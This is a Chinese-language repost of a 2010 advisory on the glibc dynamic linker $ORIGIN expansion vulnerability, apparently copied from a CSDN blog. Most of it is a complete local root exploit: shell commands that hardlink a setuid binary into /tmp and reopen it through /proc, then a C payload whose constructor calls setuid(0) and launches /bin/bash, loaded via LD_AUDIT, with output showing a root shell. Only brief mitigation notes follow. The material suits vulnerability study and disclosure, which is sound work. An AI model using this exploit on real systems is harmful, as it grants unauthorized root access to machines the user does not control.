您的位置:首页 > 其它

GNU C library 动态链接区 $ORIGIN 溢出漏洞

2010-12-15 15:03 190 查看
GNU C library dynamic linker $ORIGIN expansion Vulnerability

from: http://marc.info/?l=full-disclosure&m=128739684614072&w=2

动态链接器(或动态加载器)是为连接运行时负责动态链接程序。 ld.so运行在两个安全模式,一个是宽松模式,使超过负荷运行控制程度高,一个是安全模式(libc_enable_secure)旨在防止用户的干扰装载特权可执行文件。

至少有以下版本已经过测试

2.12.1, FC13

2.5, RHEL5 / CentOS5

影响:

可以利用这个漏洞以root权限执行任意代码

代码如下:

$ mkdir /tmp/exploit

链接到一个suid的二进制,从而改变$ORIGIN的定义

$ ln /bin/ping /tmp/exploit/target

打开文件描述符的目标二进制

$ exec 3< /tmp/exploit/target

该描述符号现在应该可以通过/ proc来访问

$ ls -l /proc/$$/fd/3

删除以前创建的目录

$ rm -rf /tmp/exploit/

/ proc的链接应该仍然存在,但现在将被标记为删除

$ ls -l /proc/$$/fd/3

更换一个有效载荷DSO的目录,从而制造 $ORIGIN对于dlopen()的有效目标

$ cat > payload.c

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

^D

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ ls -l /tmp/exploit

现在强行把位于/proc的链接通过LD AUDIT来加载$ORIGIN

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

这样就取得了root权限

sh-4.1# whoami

root

sh-4.1# id

uid=0(root) gid=500(taviso)

缓解方法:

阻止用户在mounted的文件系统上创建文件

解决方法:

主要发行商应该在短期内发布最新的glibc包

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/ydt619/archive/2010/10/20/5954199.aspx
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: